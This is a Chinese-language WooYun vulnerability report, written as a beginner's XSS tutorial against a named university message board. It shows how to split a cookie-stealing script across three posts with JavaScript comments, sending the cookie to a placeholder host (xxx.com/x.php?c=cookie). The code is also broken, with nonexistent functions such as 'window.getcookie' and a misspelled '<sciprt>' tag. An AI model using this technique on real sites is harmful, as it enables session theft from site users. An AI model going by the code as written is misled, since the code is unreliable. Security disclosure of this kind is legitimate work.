漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0100520
漏洞标题：简单的XSS，给新手学习
相关厂商：南阳理工学院
漏洞作者： 路人甲
提交时间：2015-03-11 10:58
修复时间：2015-03-16 11:00
公开时间：2015-03-16 11:00
漏洞类型：xss跨站脚本攻击
危害等级：低
自评Rank：5
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-11： 细节已通知厂商并且等待厂商处理中
2015-03-16： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
作为一个XSS教程吧，写给新手 老鸟无视。我自己也是新手
想申请wooyun账号
详细说明：
马上要高考了，各种留言板又该火了。
首先找到一个留言板。
http://zfb.nyist.edu.cn/msgboard/index.php?current_page=1
这里正文内容就有XSS直接写代码吧。
但是不知道为什么。当JS代码过长的时候 就会留言失败，这里的过长大概是将近20个字符，这样就没办法愉快的document.getcookie并且发送了。
这里可以这样搞。
把JS代码拆开，因为留言内容是一条一条从数据库里取出来显示的。那么结构肯定是这样的
漏洞证明：
留言是从上往下递减的
那么思路就出来了 用JS的注释
这样留言：
第一次留言 */window.open("url")</script>
第二次留言 */url=xxx.com/x.php?c=cookie;/*
第三次流言 <sciprt>cookie=window.getcookie;/*
这样生成的页面就会把多余的都注释掉 然后执行你的JS代码
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-03-16 11:00
厂商回复：
最新状态：
2015-09-24：次留言版已经关闭。